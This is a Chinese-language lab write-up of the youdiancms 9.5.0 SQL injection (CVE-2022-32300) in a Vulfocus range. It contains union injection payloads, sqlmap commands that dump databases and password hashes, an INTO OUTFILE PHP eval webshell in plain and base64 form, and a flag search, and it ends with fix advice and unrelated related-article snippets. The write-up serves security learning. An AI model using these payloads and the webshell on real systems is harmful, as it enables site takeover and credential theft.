当前位置: 首页 > article >正文

Vulfocus靶场实战:youdiancms 9.5.0 SQL注入漏洞(CVE-2022-32300)从审计到Getshell

1. 环境准备与漏洞背景最近在Vulfocus靶场复现了一个经典案例——youdiancms 9.5.0版本的SQL注入漏洞CVE-2022-32300。这个CMS系统在中小企业网站中还挺常见漏洞利用链完整特别适合新手学习Web渗透的基础操作。我们先从最基础的环境搭建说起。首先在Vulfocus启动靶场后你会看到一个典型的安装界面。数据库配置建议用root/root数据库名填youdian就行。这里有个小细节要注意安装完成后记得删除install.php文件这是很多CMS系统的通病不处理的话容易被恶意利用。安装成功后用默认账号登录后台界面挺简洁的主要功能都在左侧菜单栏。说到这个漏洞的发现过程还挺有意思。官方补丁公告里只说了存在SQL注入风险但没具体说明漏洞点。我在审计源码时发现MailAction.class.php文件里的MailSendID参数直接拼接到SQL语句没有任何过滤处理。这种老式CMS喜欢用字符串拼接的方式构造SQL查询在早期版本中特别常见。2. 漏洞定位与手工验证2.1 源码审计关键点打开/App/Lib/Action/Admin/MailAction.class.php文件找到viewLog方法。你会看到类似这样的危险代码public function viewLog(){ $mailSendID $_GET[MailSendID]; $sql SELECT * FROM mail_log WHERE id.$mailSendID; $result $this-db-query($sql); //...后续处理逻辑 }看到问题了吗开发者直接用了GET参数拼接SQL语句连最基本的引号包裹都没有。这意味着我们可以在MailSendID参数里注入任何SQL代码。漏洞触发点在/index.php/Admin/mail/viewLog这个路由但有个前提——需要先登录后台。2.2 手工注入测试先用Burp Suite抓个正常请求包保存为req.txt。重点观察Cookie里的PHPSESSID和请求参数。我习惯先用简单payload测试比如/index.php/Admin/mail/viewLog?MailSendID1 and 11 /index.php/Admin/mail/viewLog?MailSendID1 and 12第一个请求应该返回正常数据第二个应该返回空内容。如果符合这个表现基本可以确认存在SQL注入。再试试更复杂的payload/index.php/Admin/mail/viewLog?MailSendID1 union select 1,2,3,4,5,6,7,8,9这个操作是为了确定字段数通过不断调整select后面的数字直到页面正常显示。我测试时发现这个表有9个字段其中第4、5个字段会回显在页面上。3. 自动化工具利用3.1 sqlmap基础操作虽然手工验证很有成就感但实战中还是sqlmap效率更高。准备好之前保存的req.txt运行python sqlmap.py -r req.txt --risk3 --level5 --dbs这里risk和level参数都调到最高因为我们需要充分探测漏洞。几分钟后应该能看到数据库列表其中肯定包含youdian这个库。接下来爆表名python sqlmap.py -r req.txt -D youdian --tables重点查看admin、user这类敏感表。我发现了youdian_admin表里面肯定存着管理员凭证。继续爆字段python sqlmap.py -r req.txt -D youdian -T youdian_admin --columns3.2 获取网站路径在写webshell之前我们需要知道网站绝对路径。通过sqlmap的--file-read参数可以尝试读取常见配置文件python sqlmap.py -r req.txt --file-read/var/www/html/config.php不过这个方法成功率不高。更靠谱的是结合目录扫描比如用dirsearch发现根目录存在install.php结合报错信息可以确定路径是/var/www/wordpress。记住这个路径后面写shell要用。4. 权限提升与Getshell4.1 写入Webshell有了路径信息最直接的利用方式就是通过SQL注入写文件。在sqlmap的sql-shell中执行SELECT ?php eval($_POST[cmd]);? INTO OUTFILE /var/www/wordpress/shell.php但这里有个坑MySQL用户可能没有写权限。如果遇到这种情况可以尝试写日志文件或者临时目录。我常用的备用方案是SELECT ?php file_put_contents(shell.php,base64_decode(PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4));? INTO OUTFILE /var/www/wordpress/tmp.php4.2 数据库提权如果写文件失败可以考虑从数据库用户入手。先用sqlmap爆用户密码python sqlmap.py -r req.txt --users python sqlmap.py -r req.txt --passwords如果运气好拿到root密码可以直接连接MySQL进行操作。比如创建新用户、修改现有用户密码等。我遇到过一次案例通过mysql的UDF函数直接执行系统命令比写webshell还方便。4.3 获取flag最后一步就是常规操作了。用蚁剑连接写好的webshell在根目录或者/home下找flag文件。Vulfocus的flag通常格式为flag-{UUID}可以用find命令快速定位find / -name flag* 2/dev/null找到flag后记得清理痕迹删除webshell和临时文件。实战中还要注意不要影响业务正常运行这是基本的职业道德。5. 漏洞修复建议虽然这是个靶场演练但还是要说说修复方案。开发者应该做三件事使用预处理语句重构所有SQL查询对MailSendID参数做强制类型转换intval增加后台操作的权限校验对于使用这类CMS的站长建议立即升级到最新版本。如果暂时不能升级可以在WAF中添加针对MailSendID参数的特殊字符过滤规则。

相关文章:

Vulfocus靶场实战:youdiancms 9.5.0 SQL注入漏洞(CVE-2022-32300)从审计到Getshell

1. 环境准备与漏洞背景 最近在Vulfocus靶场复现了一个经典案例——youdiancms 9.5.0版本的SQL注入漏洞(CVE-2022-32300)。这个CMS系统在中小企业网站中还挺常见,漏洞利用链完整,特别适合新手学习Web渗透的基础操作。我们先从最基础…...

WechatRealFriends:微信虚假好友检测工具,让社交关系更透明

WechatRealFriends:微信虚假好友检测工具,让社交关系更透明 【免费下载链接】WechatRealFriends 微信好友关系一键检测,基于微信ipad协议,看看有没有朋友偷偷删掉或者拉黑你 项目地址: https://gitcode.com/gh_mirrors/we/Wecha…...

手把手教你用Burp Suite搞定PortSwigger Labs的CSRF靶场(附12个Lab实战POC)

Burp Suite实战指南:12种CSRF漏洞攻防演练 在Web安全领域,CSRF(跨站请求伪造)始终是排名前五的高危漏洞类型。PortSwigger Labs作为全球知名的Web安全实战平台,其CSRF靶场设计了12个由浅入深的实验场景。本文将带你使用…...

数字记忆守护者:GetQzonehistory实现QQ空间数据本地备份全攻略

数字记忆守护者:GetQzonehistory实现QQ空间数据本地备份全攻略 【免费下载链接】GetQzonehistory 获取QQ空间发布的历史说说 项目地址: https://gitcode.com/GitHub_Trending/ge/GetQzonehistory 社交媒体数据备份的紧迫性:我们面临的三大核心痛点…...

径向基RBF神经网络的故障分类与故障诊断的Matlab程序代码

径向基RBF神经网络的故障分类与故障诊断matlab 程序代码一、程序概述 本程序基于径向基函数(RBF)神经网络,实现对故障数据的自动化分类与诊断。通过读取标准化故障数据集,完成数据预处理、网络构建训练、故障分类预测及结果评估全…...

从一张手机照片到4K电影:图解‘位深度’和‘图像大小’是怎么算出来的

从手机照片到4K电影:解码位深度与图像大小的数学之美 当你用手机拍下一张照片,或是观看一部4K电影时,屏幕上的每一个像素背后都隐藏着一套精密的数学逻辑。这些看似简单的色彩和画面,实际上是由无数个数字精心编织而成的视觉盛宴。…...

告别手写诊断协议!用Canoe的Osek_Tp.dll库,5分钟搞定CAN/CANFD的TP层测试脚本

5分钟极速搭建CAN/CANFD诊断测试环境:基于Vector Osek_Tp.dll的工程实践 在汽车电子开发领域,诊断协议测试往往是最耗时的环节之一。传统手工编写ISO-15765协议栈的方式,不仅需要深入理解TP层(传输协议层)的复杂状态机…...

STM32F4项目实战:用INA219给锂电池做个“智能管家”(附完整代码)

STM32F4项目实战:用INA219打造高精度锂电池监控系统 锂电池作为便携式设备的能量来源,其状态监控直接影响设备可靠性和用户体验。传统电压检测法误差高达20%,而采用TI的INA219电流传感器配合STM32F4系列MCU,可实现0.5%精度的充放电…...

Druid监控页面登录失败?你可能踩了这个Request Body的坑

Druid监控登录异常排查:Request Body解析的隐蔽陷阱 最近在调试Druid监控面板时遇到一个诡异现象——明明配置了正确的用户名密码,却始终无法登录。控制台没有报错,前端参数也正常发送,但后端就是接收不到登录凭证。这种"看似…...

基于Django REST framework的共享充电桩后台管理系统架构设计与实现

1. 为什么选择Django REST framework构建充电桩后台 第一次接触共享充电桩项目时,我对比了Node.js、Spring Boot和Django三个技术栈。最终选择Django REST framework(DRF)的原因很实在——它用30%的代码量就能实现其他框架80%的功能。特别是在…...

算法岗面试避坑指南:从运动控制到ROS实战的思维跃迁

1. 运动控制算法岗面试的核心痛点 运动控制算法岗位的面试往往聚焦于候选人对复杂系统的理解能力。很多同学在准备这类面试时容易陷入两个极端:要么死磕公式推导却说不清实际应用场景,要么堆砌项目经历但缺乏技术深度。我在面试实习生时经常遇到这样的情…...

C++20模块在边缘端编译失败的真相:MSVC/Clang/GCC三大工具链兼容性断层图谱(含实测数据表)

第一章:C20模块在边缘端编译失败的真相C20模块(Modules)在桌面或云环境可顺利构建,但在资源受限的边缘设备(如树莓派4、Jetson Nano、STM32MP157等)上频繁遭遇编译中断、链接错误或模块接口单元&#xff08…...

《算法题讲解指南:优选算法-字符串》--61.最长公共前缀,62.最长回文子串,63.二进制求和,64.字符串相乘

🔥小叶-duck:个人主页 ❄️个人专栏:《Data-Structure-Learning》《C入门到进阶&自我学习过程记录》 《算法题讲解指南》--优选算法 《算法题讲解指南》--递归、搜索与回溯算法 《算法题讲解指南》--动态规划算法 ✨未择之路&#xff0…...

为什么你的STL allocator在期货做市系统中突然OOM?——穿透式内存池测试报告(含ASan+Valgrind+自研HeapSpy三重校验)

第一章:为什么你的STL allocator在期货做市系统中突然OOM?——穿透式内存池测试报告(含ASanValgrind自研HeapSpy三重校验)现象复现:毫秒级订单流触发的隐性泄漏 某高频做市服务在实盘压测中,持续运行 47 分…...

【快速EI检索 | SPIE出版】2026年量子计算与人工智能国际学术会议(ICQCAI 2026)

2026年量子计算与人工智能国际学术会议(ICQCAI 2026) 2026 International Conference on Environmental Pollution and Sustainable Resource Management 2026年5月8-10日, 中国-北京 大会官网:www.icqcai.com 截稿时间&#…...

Visual C++运行库一站式解决方案:从依赖问题到高效部署

Visual C运行库一站式解决方案:从依赖问题到高效部署 【免费下载链接】vcredist AIO Repack for latest Microsoft Visual C Redistributable Runtimes 项目地址: https://gitcode.com/gh_mirrors/vc/vcredist 定位运行库故障:症状、病因与风险三…...

WPF调试神器:如何在GUI应用中优雅地输出Console日志(附完整代码)

WPF调试神器:如何在GUI应用中优雅地输出Console日志(附完整代码) 在WPF开发过程中,调试信息的实时输出是排查问题的关键环节。传统弹窗或文件日志方式要么打断用户体验,要么缺乏即时性。本文将介绍一种兼顾优雅与高效的…...

【Agent】大模型在线API接入基础入门

大模型在线API接入基础入门一、全球AI模型版图与平台选型1、OpenRouter突破封锁的中转平台2、国内模型生态:性价比与可用性的平衡4、模型选型决策二、获取并保存API KEY三、调用API1、非SDK方式调用2、 OpenAI SDK方式调用(1)什么是SDK&#…...

Wan2.2-I2V-A14B企业级应用:私有化部署保障数据安全与合规

Wan2.2-I2V-A14B企业级应用:私有化部署保障数据安全与合规 1. 企业级文生视频解决方案概述 在当今内容创作领域,视频生成技术正成为企业数字化转型的关键工具。Wan2.2-I2V-A14B作为新一代文生视频模型,通过私有化部署方案为企业提供了安全可…...

CAPL不只是写脚本:揭秘它在整车V流程中的五大实战角色(仿真/测试/诊断)

CAPL不只是写脚本:揭秘它在整车V流程中的五大实战角色(仿真/测试/诊断) 当汽车电子工程师第一次接触CAPL时,往往会被它的"脚本语言"标签所局限。实际上,在整车开发的V流程中,CAPL更像是一把瑞士军…...

simulink和carsim联合仿真的mpc轨迹跟踪模型。

simulink和carsim联合仿真的mpc轨迹跟踪模型。MPC(模型预测控制)轨迹跟踪模型在Simulink和Carsim联合仿真中,通过构建车辆动力学模型、设计MPC控制器,实现对车辆轨迹的精准跟踪。其代码涉及车辆状态方程、MPC优化算法等核心部分。…...

SEO 优化者如何提高网站的转化率

SEO 优化者如何提高网站的转化率 在当今数字化时代,网站的转化率已经成为衡量一个网站成功与否的重要指标之一。对于 SEO 优化者来说,提升网站的转化率不仅能够带来更多的实际业务,还能够为企业赢得更多的客户。SEO 优化者如何在实际操作中提…...

Carsim+Simulink 线控制动系统BBW-EMB联合仿真模型 !BBW-EMB线控制动联合仿真|Carsim+Simulink】

CarsimSimulink 线控制动系统BBW-EMB联合仿真模型 !BBW-EMB线控制动联合仿真|CarsimSimulink】 ✨ 核心仿真配置 ✅ 完整系统架构:包含制动力分配功能四个车轮独立线控制动机构,贴合真实线控制动系统结构; ✅ 精准控制…...

CefFlashBrowser:Flash内容现代化解决方案与完整应用指南

CefFlashBrowser:Flash内容现代化解决方案与完整应用指南 【免费下载链接】CefFlashBrowser Flash浏览器 / Flash Browser 项目地址: https://gitcode.com/gh_mirrors/ce/CefFlashBrowser 当您珍藏的Flash教育课件无法打开,经典的Flash游戏无法运…...

3步实现Android Studio全界面汉化:让开发者效率提升40%的中文语言包方案

3步实现Android Studio全界面汉化:让开发者效率提升40%的中文语言包方案 【免费下载链接】AndroidStudioChineseLanguagePack AndroidStudio中文插件(官方修改版本) 项目地址: https://gitcode.com/gh_mirrors/an/AndroidStudioChineseLanguagePack …...

基于拉丁超立方采样的电力系统概率潮流计算实现分析

采用拉丁超立方采样的电力系统概率潮流计算 (自适应核密度估计,自适应带宽核密度估计) 拉丁超立方采样属于分层采样,是一种有效的用采样值反映随机变量的整体分布的方法。 其目的是要保证所有的采样区域都能够被采样点覆盖。 该方…...

混合储能系统容量优化配置中的信号分解与容量分配算法解析

混合储能容量优化配置(钠硫电池、超级电容) 基于emd和vmd容量配置 1、先用vmd进行输入功率分解,通过分解出高频信号和低频信号,混合储能的功率分配,分给钠硫电池、超级电容。 2、分解后再求出储能的额定容量和额定功率…...

磁链观测器在VESC中使用的方法:实现0速闭环启动的工程实践与代码文档仿真对应

磁链观测器 vesc中使用的方法。 已经移植到了自己的工程中,实现0速闭环启动。 代码、文档、仿真是一一对应的,方便学习。送仿真模型,送翻译的对应的lw。引言 永磁同步电机(Permanent Magnet Synchronous Motor, PMSM)因…...

Windows Android兼容环境部署指南:跨平台运行的技术实现与实践

Windows Android兼容环境部署指南:跨平台运行的技术实现与实践 【免费下载链接】WSA-Windows-10 This is a backport of Windows Subsystem for Android to Windows 10. 项目地址: https://gitcode.com/gh_mirrors/ws/WSA-Windows-10 在数字化办公与开发场景…...

音频频谱分析师的成长之路:Spek实战秘籍深度解锁

音频频谱分析师的成长之路:Spek实战秘籍深度解锁 【免费下载链接】spek Acoustic spectrum analyser 项目地址: https://gitcode.com/gh_mirrors/sp/spek 你是否曾好奇专业音频工程师如何"看见"声音?当音乐制作人谈论"频率冲突&qu…...